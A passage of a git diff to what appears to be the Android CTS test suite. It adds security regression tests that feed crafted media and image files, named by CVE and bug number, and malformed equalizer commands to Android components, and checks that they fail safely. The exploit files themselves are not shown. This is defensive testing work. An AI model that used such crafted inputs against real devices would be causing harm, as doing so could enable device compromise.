+                    /*psize*/ intToByteArray(1 * intSize),
+                    /*vsize*/ intToByteArray(2 * shortSize),
+                    /*data[0]*/ intToByteArray((int) 9 /*EQ_PARAM_PROPERTIES*/),
+                    /*data[4]*/ shortToByteArray((short)-1 /*preset*/),
+                    /*data[6]*/ shortToByteArray((short)5 /*FIVEBAND_NUMBANDS*/));
+            byte reply[] = new byte[ 4 /*command.length*/];
+
+            AudioEffect af = eq;
+            Object o = AudioEffect.class.getDeclaredMethod("command", int.class, byte[].class,
+                    byte[].class).invoke(af, cmdCode, command, reply);
+
+            int replyValue = byteArrayToInt(reply, 0 /*offset*/);
+            if (replyValue >= 0) {
+                Log.w(TAG, "Reply Value: " + replyValue);
+            }
+            assertTrue("Negative replyValue was expected ", replyValue < 0);
+            status = true;
+        } catch (Exception e) {
+            Log.w(TAG,"Problem setting parameter in equalizer");
+        } finally {
+            if (eq != null) {
+                eq.release();
+            }
+            if (mp != null) {
+                mp.release();
+            }
+        }
+        return status;
+    }
+
+    private boolean eqGetParamFreqRangeCommand(int media) {
+        MediaPlayer mp = null;
+        Equalizer eq = null;
+        boolean status = false;
+        try {
+            mp = MediaPlayer.create(getInstrumentation().getContext(), getMediaId(media));
+            eq = new Equalizer(0 /*priority*/, mp.getAudioSessionId());
+
+            short band = 2;
+            int intSize = 4; //bytes
+
+            //baseline
+            int cmdCode = 8; // EFFECT_CMD_GET_PARAM
+            byte command[] = concatArrays(/*status*/ intToByteArray(0),
+                    /*psize*/ intToByteArray(2 * intSize),
+                    /*vsize*/ intToByteArray(2 * intSize),
+                    /*data[0]*/ intToByteArray(Equalizer.PARAM_BAND_FREQ_RANGE),
+                    /*data[1]*/ intToByteArray((int) band));
+
+            byte reply[] = new byte[command.length];
+
+            AudioEffect af = eq;
+            Object o = AudioEffect.class.getDeclaredMethod("command", int.class, byte[].class,
+                    byte[].class).invoke(af, cmdCode, command, reply);
+
+            int methodStatus = AudioEffect.ERROR;
+            if (o != null) {
+                methodStatus = Integer.valueOf(o.toString()).intValue();
+            }
+
+            assertTrue("Command expected to fail", methodStatus <= 0);
+            int sum = 0;
+            for (int i = 0; i < reply.length; i++) {
+                sum += Math.abs(reply[i]);
+            }
+
+            assertEquals("reply expected to be all zeros", sum, 0);
+            status = true;
+        } catch (Exception e) {
+            Log.w(TAG,"Problem testing eqGetParamFreqRangeCommand");
+            status = false;
+        } finally {
+            if (eq != null) {
+                eq.release();
+            }
+            if (mp != null) {
+                mp.release();
+            }
+        }
+        return status;
+    }
+
+    private boolean eqGetParam(int media, int command, int band, byte[] reply) {
+        MediaPlayer mp = null;
+        Equalizer eq = null;
+        boolean status = false;
+        try {
+            mp = MediaPlayer.create(getInstrumentation().getContext(), getMediaId(media));
+            eq = new Equalizer(0 /*priority*/, mp.getAudioSessionId());
+
+            AudioEffect af = eq;
+            int cmd[] = {command, band};
+
+            AudioEffect.class.getDeclaredMethod("getParameter", int[].class,
+                    byte[].class).invoke(af, cmd, reply);
+            status = true;
+        } catch (Exception e) {
+            Log.w(TAG,"Problem testing equalizer");
+            status = false;
+        } finally {
+            if (eq != null) {
+                eq.release();
+            }
+            if (mp != null) {
+                mp.release();
+            }
+        }
+        return status;
+    }
+
+    private boolean eqGetParam(int media, int command, int band, int[] reply) {
+        MediaPlayer mp = null;
+        Equalizer eq = null;
+        boolean status = false;
+        try {
+            mp = MediaPlayer.create(getInstrumentation().getContext(), getMediaId(media));
+            eq = new Equalizer(0 /*priority*/, mp.getAudioSessionId());
+
+            AudioEffect af = eq;
+            int cmd[] = {command, band};
+
+            AudioEffect.class.getDeclaredMethod("getParameter", int[].class,
+                    int[].class).invoke(af, cmd, reply);
+            status = true;
+        } catch (Exception e) {
+            Log.w(TAG,"Problem getting parameter from equalizer");
+            status = false;
+        } finally {
+            if (eq != null) {
+                eq.release();
+            }
+            if (mp != null) {
+                mp.release();
+            }
+        }
+        return status;
+    }
+
+    private void testGetParam(int media, int command, int[] bandArray, int value0, int value1) {
+        int reply[] = {value0, value1};
+        for (int invalidBand : INVALID_BAND_ARRAY)
+        {
+            if (!eqGetParam(media, command, invalidBand, reply)) {
+                fail(String.format("getParam for command %d did not complete successfully",
+                        command));
+            }
+            assertEquals("getParam should not change value0", value0, reply[0]);
+            assertEquals("getParam should not change value1", value1, reply[1]);
+        }
+    }
+
+    private boolean eqSetParam(int media, int command, int band, short[] value) {
+        MediaPlayer mp = null;
+        Equalizer eq = null;
+        boolean status = false;
+        try {
+            mp = MediaPlayer.create(getInstrumentation().getContext(),  getMediaId(media));
+            eq = new Equalizer(0 /*priority*/, mp.getAudioSessionId());
+
+            AudioEffect af = eq;
+            int cmd[] = {command, band};
+
+            AudioEffect.class.getDeclaredMethod("setParameter", int[].class,
+                    short[].class).invoke(af, cmd, value);
+            status = true;
+        } catch (Exception e) {
+            Log.w(TAG,"Problem setting parameter in equalizer");
+            status = false;
+        } finally {
+            if (eq != null) {
+                eq.release();
+            }
+            if (mp != null) {
+                mp.release();
+            }
+        }
+        return status;
+    }
+
+    private int getMediaId(int media) {
+        switch (media) {
+            default:
+            case MEDIA_SHORT:
+                return R.raw.good;
+            case MEDIA_LONG:
+                return R.raw.onekhzsine_90sec;
+        }
+    }
+
+    private static byte[] intToByteArray(int value) {
+        ByteBuffer converter = ByteBuffer.allocate(4);
+        converter.order(ByteOrder.nativeOrder());
+        converter.putInt(value);
+        return converter.array();
+    }
+
+    public static int byteArrayToInt(byte[] valueBuf, int offset) {
+        ByteBuffer converter = ByteBuffer.wrap(valueBuf);
+        converter.order(ByteOrder.nativeOrder());
+        return converter.getInt(offset);
+    }
+
+    private static byte[] shortToByteArray(short value) {
+        ByteBuffer converter = ByteBuffer.allocate(2);
+        converter.order(ByteOrder.nativeOrder());
+        short sValue = (short) value;
+        converter.putShort(sValue);
+        return converter.array();
+    }
+
+    private static  byte[] concatArrays(byte[]... arrays) {
+        int len = 0;
+        for (byte[] a : arrays) {
+            len += a.length;
+        }
+        byte[] b = new byte[len];
+
+        int offs = 0;
+        for (byte[] a : arrays) {
+            System.arraycopy(a, 0, b, offs, a.length);
+            offs += a.length;
+        }
+        return b;
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
index ac264d0..aed3aa3 100644
--- a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
+++ b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
@@ -21,11 +21,13 @@
 import android.content.ServiceConnection;
 import android.os.IBinder;
 import android.os.RemoteException;
+import android.platform.test.annotations.SecurityTest;
 import android.security.cts.IIsolatedService;
 import android.security.cts.IsolatedService;
 import android.test.AndroidTestCase;
 import android.util.Log;
 import com.android.internal.util.ArrayUtils;
+
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import junit.framework.Assert;
diff --git a/tests/tests/security/src/android/security/cts/Movie33897722.java b/tests/tests/security/src/android/security/cts/Movie33897722.java
index f6859da..5680f3a 100644
--- a/tests/tests/security/src/android/security/cts/Movie33897722.java
+++ b/tests/tests/security/src/android/security/cts/Movie33897722.java
@@ -23,11 +23,12 @@
 import android.graphics.Paint;
 import android.graphics.PorterDuff;
 import android.graphics.PorterDuffXfermode;
+import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
+import android.security.cts.R;
 
 import java.io.InputStream;
 
-import android.security.cts.R;
 
 public class Movie33897722 extends AndroidTestCase {
     /**
@@ -37,6 +38,7 @@
      * larger than 2. Ensure that we do not attempt to read colors from beyond the end of the
      * color map, which would be reading memory that we do not control, and may be uninitialized.
      */
+    @SecurityTest
     public void test_android_bug_33897722() {
         InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33897722);
         Movie movie = Movie.decodeStream(exploitImage);
diff --git a/tests/tests/security/src/android/security/cts/NativeCodeTest.java b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
index 5fa698e..eb162fb 100644
--- a/tests/tests/security/src/android/security/cts/NativeCodeTest.java
+++ b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
@@ -16,6 +16,8 @@
 
 package android.security.cts;
 
+import android.platform.test.annotations.SecurityTest;
+
 import junit.framework.TestCase;
 
 public class NativeCodeTest extends TestCase {
@@ -24,6 +26,7 @@
         System.loadLibrary("ctssecurity_jni");
     }
 
+    @SecurityTest
     public void testVroot() throws Exception {
         assertTrue("Device is vulnerable to CVE-2013-6282. Please apply security patch at "
                    + "https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/"
@@ -31,6 +34,7 @@
                    + "8404663f81d212918ff85f493649a7991209fa04", doVrootTest());
     }
 
+    @SecurityTest
     public void testPerfEvent() throws Exception {
         assertFalse("Device is vulnerable to CVE-2013-2094. Please apply security patch "
                     + "at http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/"
@@ -38,10 +42,12 @@
                     doPerfEventTest());
     }
 
+    @SecurityTest
     public void testPerfEvent2() throws Exception {
         assertTrue(doPerfEventTest2());
     }
 
+    @SecurityTest
     public void testFutex() throws Exception {
         assertTrue("Device is vulnerable to CVE-2014-3153, a vulnerability in the futex() system "
                    + "call. Please apply the security patch at "
@@ -50,6 +56,7 @@
                    doFutexTest());
     }
 
+    @SecurityTest
     public void testNvmapIocFromId() throws Exception {
         assertTrue("Device is vulnerable to CVE-2014-5332. "
                    + "NVIDIA has released code fixes to upstream repositories and device vendors. "
@@ -58,6 +65,7 @@
                    doNvmapIocFromIdTest());
     }
 
+    @SecurityTest
     public void testPingPongRoot() throws Exception {
         assertTrue("Device is vulnerable to CVE-2015-3636, a vulnerability in the ping "
                    + "socket implementation. Please apply the security patch at "
@@ -65,6 +73,7 @@
                    doPingPongRootTest());
     }
 
+    @SecurityTest
     public void testPipeReadV() throws Exception {
         assertTrue("Device is vulnerable to CVE-2015-1805 and/or CVE-2016-0774,"
                    + " a vulnerability in the pipe_read() function."
@@ -74,6 +83,7 @@
                    doPipeReadVTest());
     }
 
+    @SecurityTest
     public void testSysVipc() throws Exception {
         assertTrue("Android does not support Sys V IPC, it must "
                    + "be removed from the kernel. In the kernel config: "
@@ -114,6 +124,7 @@
      */
     private static native boolean doVrootTest();
 
+    @SecurityTest
     public void testCVE20141710() throws Exception {
         assertTrue("Device is vulnerable to CVE-2014-1710", doCVE20141710Test());
     }
diff --git a/tests/tests/security/src/android/security/cts/OpenSSLEarlyCCSTest.java b/tests/tests/security/src/android/security/cts/OpenSSLEarlyCCSTest.java
index bba75dc..f8bf778 100644
--- a/tests/tests/security/src/android/security/cts/OpenSSLEarlyCCSTest.java
+++ b/tests/tests/security/src/android/security/cts/OpenSSLEarlyCCSTest.java
@@ -16,6 +16,7 @@
 
 package android.security.cts;
 
+import android.platform.test.annotations.SecurityTest;
 import android.security.cts.OpenSSLHeartbleedTest.AlertMessage;
 import android.security.cts.OpenSSLHeartbleedTest.HandshakeMessage;
 import android.security.cts.OpenSSLHeartbleedTest.HardcodedCertX509KeyManager;
@@ -108,6 +109,7 @@
      * Tests that TLS handshake succeeds when the MiTM simply forwards all data without tampering
      * with it. This is to catch issues unrelated to early CCS.
      */
+    @SecurityTest
     public void testWithoutEarlyCCS() throws Exception {
         handshake(false, false);
     }
@@ -115,6 +117,7 @@
     /**
      * Tests whether client sockets are vulnerable to early CCS.
      */
+    @SecurityTest
     public void testEarlyCCSInjectedIntoClient() throws Exception {
         checkEarlyCCS(true);
     }
@@ -122,6 +125,7 @@
     /**
      * Tests whether server sockets are vulnerable to early CCS.
      */
+    @SecurityTest
     public void testEarlyCCSInjectedIntoServer() throws Exception {
         checkEarlyCCS(false);
     }
diff --git a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
index f6e463f..ff98d5f 100644
--- a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
+++ b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
@@ -18,6 +18,7 @@
 
 import android.app.ActivityManager;
 import android.content.Context;
+import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 
 import java.util.List;
@@ -28,7 +29,7 @@
      * getRunningTasks()is fixed. The test tries to get current RunningAppProcessInfo and passes
      * the test if it is not able to get other process information.
      */
-
+    @SecurityTest
     public void testRunningAppProcessInfo() {
         ActivityManager amActivityManager =
                 (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
diff --git a/tests/tests/security/src/android/security/cts/STKFrameworkTest.java b/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
index a30387f..0e8b04e 100644
--- a/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
+++ b/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
@@ -18,6 +18,7 @@
 import android.content.ComponentName;
 import android.content.Intent;
 import android.content.pm.PackageManager;
+import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 
 public class STKFrameworkTest extends AndroidTestCase {
@@ -39,6 +40,7 @@
      * Verifies commands Intercepting which has been sent from SIM card to Telephony using
      * zero-permission malicious application
      */
+    @SecurityTest
     public void testInterceptedSIMCommandsToTelephony() {
         if (!mHasTelephony) {
             return;
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 0f6cbbd..281ab2d 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2015 The Android Open Source Project
+ * Copyright (C) 2016 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -39,6 +39,7 @@
 import android.opengl.GLES11Ext;
 import android.os.Looper;
 import android.os.SystemClock;
+import android.platform.test.annotations.SecurityTest;
 import android.test.InstrumentationTestCase;
 import android.util.Log;
 import android.view.Surface;
@@ -71,98 +72,138 @@
      before any existing test methods
      ***********************************************************/
 
+    @SecurityTest
+    public void testStagefright_bug_37079296() throws Exception {
+        doStagefrightTest(R.raw.bug_37079296);
+    }
+
+    @SecurityTest
+    public void testStagefright_bug_38342499() throws Exception {
+        doStagefrightTest(R.raw.bug_38342499);
+    }
+
+    @SecurityTest
+    public void testStagefright_bug_23270724() throws Exception {
+        doStagefrightTest(R.raw.bug_23270724_1);
+        doStagefrightTest(R.raw.bug_23270724_2);
+    }
+
+    @SecurityTest
     public void testStagefright_bug_22771132() throws Exception {
         doStagefrightTest(R.raw.bug_22771132);
     }
 
+    @SecurityTest
     public void testStagefright_bug_21443020() throws Exception {
         doStagefrightTest(R.raw.bug_21443020_webm);
     }
 
+    @SecurityTest
     public void testStagefright_bug_34360591() throws Exception {
         doStagefrightTest(R.raw.bug_34360591);
     }
 
+    @SecurityTest
     public void testStagefright_bug_35763994() throws Exception {
         doStagefrightTest(R.raw.bug_35763994);
     }
 
+    @SecurityTest
     public void testStagefright_bug_33137046() throws Exception {
         doStagefrightTest(R.raw.bug_33137046);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2016_2507() throws Exception {
         doStagefrightTest(R.raw.cve_2016_2507);
     }
 
+    @SecurityTest
     public void testStagefright_bug_31647370() throws Exception {
         doStagefrightTest(R.raw.bug_31647370);
     }
 
+    @SecurityTest
     public void testStagefright_bug_32577290() throws Exception {
         doStagefrightTest(R.raw.bug_32577290);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_1538_1() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1538_1);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_1538_2() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1538_2);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_1538_3() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1538_3);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_1538_4() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1538_4);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_1539() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1539);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3824() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3824);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3826() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3826);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3827() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3827);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3828() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3828);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3829() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3829);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3836() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3836);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3864() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3864);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3864_b23034759() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3864_b23034759);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_6598() throws Exception {
         doStagefrightTest(R.raw.cve_2015_6598);
     }
 
+    @SecurityTest
     public void testStagefright_bug_26366256() throws Exception {
         doStagefrightTest(R.raw.bug_26366256);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2016_2429_b_27211885() throws Exception {
         doStagefrightTest(R.raw.cve_2016_2429_b_27211885);
     }
@@ -172,98 +213,127 @@
      before any existing test methods
      ***********************************************************/
 
-    public void testStagefright_bug_32873375() throws Exception {
-        doStagefrightTest(R.raw.bug_32873375);
+    @SecurityTest
+    public void testStagefright_bug_34097672() throws Exception {
+        doStagefrightTest(R.raw.bug_34097672);
     }
 
+    @SecurityTest
     public void testStagefright_bug_33818508() throws Exception {
         doStagefrightTest(R.raw.bug_33818508);
     }
 
+    @SecurityTest
+    public void testStagefright_bug_32873375() throws Exception {
+        doStagefrightTest(R.raw.bug_32873375);
+    }
+
+    @SecurityTest
     public void testStagefright_bug_25765591() throws Exception {
         doStagefrightTest(R.raw.bug_25765591);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3867() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3867);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3869() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3869);
     }
 
+    @SecurityTest
     public void testStagefright_bug_32322258() throws Exception {
         doStagefrightTest(R.raw.bug_32322258);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3873_b_23248776() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3873_b_23248776);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3873_b_20718524() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3873_b_20718524);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3862_b_22954006() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3862_b_22954006);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3867_b_23213430() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3867_b_23213430);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3873_b_21814993() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3873_b_21814993);
     }
 
+    @SecurityTest
     public void testStagefright_bug_25812590() throws Exception {
         doStagefrightTest(R.raw.bug_25812590);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_6600() throws Exception {
         doStagefrightTest(R.raw.cve_2015_6600);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_6603() throws Exception {
         doStagefrightTest(R.raw.cve_2015_6603);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_6604() throws Exception {
         doStagefrightTest(R.raw.cve_2015_6604);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3871() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3871);
     }
 
+    @SecurityTest
     public void testStagefright_bug_26070014() throws Exception {
         doStagefrightTest(R.raw.bug_26070014);
     }
 
+    @SecurityTest
     public void testStagefright_bug_32915871() throws Exception {
         doStagefrightTest(R.raw.bug_32915871);
     }
 
-    public void testStagefright_cve_2015_6608_b_23680780() throws Exception {
-        doStagefrightTest(R.raw.cve_2015_6608_b_23680780);
-    }
-
+    @SecurityTest
     public void testStagefright_bug_28333006() throws Exception {
         doStagefrightTest(R.raw.bug_28333006);
     }
 
+    @SecurityTest
     public void testStagefright_bug_14388161() throws Exception {
         doStagefrightTestMediaPlayer(R.raw.bug_14388161);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2016_3755() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3755);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2016_3878_b_29493002() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3878_b_29493002);
     }
 
+    @SecurityTest
+    public void testStagefright_cve_2015_6608_b_23680780() throws Exception {
+        doStagefrightTest(R.raw.cve_2015_6608_b_23680780);
+    }
+
+    @SecurityTest
     public void testStagefright_bug_27855419_CVE_2016_2463() throws Exception {
         doStagefrightTest(R.raw.bug_27855419);
     }
@@ -273,10 +343,16 @@
      before any existing test methods
      ***********************************************************/
 
+    @SecurityTest
     public void testStagefright_bug_35467107() throws Exception {
         doStagefrightTest(R.raw.bug_35467107);
     }
 
+    public void testStagefright_bug_34031018() throws Exception {
+        doStagefrightTest(R.raw.bug_34031018_32bit);
+        doStagefrightTest(R.raw.bug_34031018_64bit);
+    }
+
     private void doStagefrightTest(final int rid) throws Exception {
         doStagefrightTestMediaPlayer(rid);
         doStagefrightTestMediaCodec(rid);
@@ -671,7 +747,7 @@
             AssetFileDescriptor fd = resources.openRawResourceFd(rid);
             try {
                 retriever.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
-            } catch (RuntimeException e) {
+            } catch (Exception e) {
                 // ignore
             } finally {
                 closeQuietly(fd);
diff --git a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
index b06b5a1..807412b 100644
--- a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
+++ b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
@@ -19,13 +19,13 @@
 import junit.framework.TestCase;
 
 import android.content.Context;
+import android.platform.test.annotations.SecurityTest;
 import android.media.audiofx.AudioEffect;
 import android.media.MediaPlayer;
 import android.media.audiofx.Visualizer;
 import android.test.AndroidTestCase;
 import android.test.InstrumentationTestCase;
 import android.util.Log;
-import android.security.cts.R;
 
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Method;
@@ -39,6 +39,7 @@
     }
 
     //Testing security bug: 30229821
+    @SecurityTest
     public void testVisualizer_MalformedConstructor() throws Exception {
         final String VISUALIZER_TYPE = "e46b26a0-dddd-11db-8afd-0002a5d5c51b";
         final int VISUALIZER_CMD_MEASURE = 0x10001;
diff --git a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
index f81da6b..bbc70a9 100644
--- a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
+++ b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
@@ -18,6 +18,7 @@
 
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
+import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 
 import java.io.InputStream;
@@ -31,6 +32,7 @@
      * Prior to fixing bug 33300701, decoding resulted in undefined behavior (divide by zero).
      * With the fix, decoding will fail, without dividing by zero.
      */
+    @SecurityTest
     public void test_android_bug_33300701() {
         InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33300701);
         Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
diff --git a/tests/tests/toastlegacy/src/android/widget/toast/cts/legacy/ToastTest.java b/tests/tests/toastlegacy/src/android/widget/toast/cts/legacy/ToastTest.java
index 2311292..207e6ea 100644
--- a/tests/tests/toastlegacy/src/android/widget/toast/cts/legacy/ToastTest.java
+++ b/tests/tests/toastlegacy/src/android/widget/toast/cts/legacy/ToastTest.java
@@ -108,10 +108,7 @@
     }
 
     @Test
-    public void testAddTwoToastsViaAddingWindowApisWhenUidNotFocusedQuickly() throws Exception {
-        // Finish the activity so the UID loses focus
-        finishActivity(false);
-
+    public void testAddTwoToastsViaAddingWindowApisWhenUidFocusedQuickly() throws Exception {
         try {
             showToastsViaAddingWindow(2, false);
             Assert.fail("Only one custom toast window at a time should be allowed");
diff --git a/tests/tests/widget/src/android/widget/cts/GridViewTest.java b/tests/tests/widget/src/android/widget/cts/GridViewTest.java
index 12c73a0..7b83416 100644
--- a/tests/tests/widget/src/android/widget/cts/GridViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/GridViewTest.java
@@ -16,12 +16,10 @@
 
 package android.widget.cts;
 
+import android.test.suitebuilder.annotation.MediumTest;
 import android.widget.cts.R;
 
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.runner.RunWith;
-import org.junit.Test;
+
 import org.xmlpull.v1.XmlPullParser;
 
 import android.app.Activity;
@@ -31,6 +29,9 @@
 import android.database.DataSetObservable;
 import android.database.DataSetObserver;
 import android.graphics.Rect;
+import android.test.ActivityInstrumentationTestCase;
+import android.test.TouchUtils;
+import android.test.UiThreadTest;
 import android.test.ViewAsserts;
 import android.util.AttributeSet;
 import android.util.Xml;
@@ -39,11 +40,6 @@
 import android.view.View;
 import android.view.ViewGroup;
 import android.view.animation.GridLayoutAnimationController.AnimationParameters;
-import android.support.test.filters.MediumTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.widget.AbsListView;
 import android.widget.AdapterView;
 import android.widget.Filter;
@@ -54,46 +50,36 @@
 import android.widget.AdapterView.OnItemClickListener;
 import android.widget.cts.util.ViewTestUtils;
 
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertSame;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
 /**
  * Test {@link GridView}.
  */
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-public class GridViewTest {
+public class GridViewTest extends ActivityInstrumentationTestCase<GridViewCtsActivity> {
     private GridView mGridView;
     private Activity mActivity;
     private Instrumentation mInstrumentation;
 
+    public GridViewTest() {
+        super("android.widget.cts", GridViewCtsActivity.class);
+    }
+
     private GridView findGridViewById(int id) {
         return (GridView) mActivity.findViewById(id);
     }
 
-    @Rule
-    public ActivityTestRule<GridViewCtsActivity> mActivityRule =
-            new ActivityTestRule<>(GridViewCtsActivity.class);
-
-    @Before
-    public void setUp() throws Exception {
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
         mGridView = null;
-        mActivity = mActivityRule.getActivity();
+        mActivity = getActivity();
         new PollingCheck() {
             @Override
             protected boolean check() {
                 return mActivity.hasWindowFocus();
             }
         }.run();
-        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mInstrumentation = getInstrumentation();
     }
 
-    @Test
     public void testConstructor() {
         new GridView(mActivity);
 
@@ -125,7 +111,6 @@
         }
     }
 
-    @Test
     public void testAccessAdapter() {
         mGridView = new GridView(mActivity);
         // set Adapter
@@ -137,7 +122,6 @@
         assertNull(mGridView.getAdapter());
     }
 
-    @Test
     public void testSetSelection() {
         mGridView = new GridView(mActivity);
         mGridView.setSelection(0);
@@ -150,7 +134,6 @@
         assertEquals(mGridView.getCount(), mGridView.getSelectedItemPosition());
     }
 
-    @Test
     public void testPressKey() {
         final int NUM_COLUMNS = 3;
         mGridView = findGridViewById(R.id.gridview);
@@ -199,7 +182,6 @@
         assertTrue(listener.hasOnItemClickCalled());
     }
 
-    @Test
     public void testSetGravity() {
         mGridView = findGridViewById(R.id.gridview);
 
@@ -253,12 +235,10 @@
         ViewAsserts.assertRightAligned(mGridView, child, mGridView.getListPaddingRight());
     }
 
-    @Test
     public void testSetHorizontalSpacing() {
         testSetHorizontalSpacing(View.LAYOUT_DIRECTION_LTR);
     }
 
-    @Test
     public void testSetHorizontalSpacingRTL() {
         testSetHorizontalSpacing(View.LAYOUT_DIRECTION_RTL);
     }
@@ -310,7 +290,6 @@
         }
     }
 
-    @Test
     public void testSetVerticalSpacing() {
         mGridView = findGridViewById(R.id.gridview);
 
@@ -339,7 +318,6 @@
         assertEquals(5, child1.getTop() - child0.getBottom());
     }
 
-    @Test
     public void testAccessStretchMode() {
         mGridView = findGridViewById(R.id.gridview);
         View child;
@@ -438,7 +416,6 @@
                 < childRight[STRETCH_SPACING_UNIFORM][INDEX_1]);
     }
 
-    @Test
     public void testSetNumColumns() {
         mGridView = findGridViewById(R.id.gridview);
 
@@ -482,7 +459,6 @@
         }
     }
 
-    @Test
     public void testGetNumColumns() {
         mGridView = new GridView(mActivity);
 
@@ -520,7 +496,6 @@
         assertEquals(mGridView.getNumColumns(), 1);
     }
 
-    @Test
     public void testAttachLayoutAnimationParameters() {
         MockGridView mockGridView = new MockGridView(mActivity);
         ViewGroup.LayoutParams p = new ViewGroup.LayoutParams(320, 480);
@@ -530,40 +505,33 @@
         assertEquals(2, animationParams.count);
     }
 
-    @Test
     public void testLayoutChildren() {
         MockGridView mockGridView = new MockGridView(mActivity);
         mockGridView.layoutChildren();
     }
 
-    @Test
+    @UiThreadTest
     public void testOnFocusChanged() {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
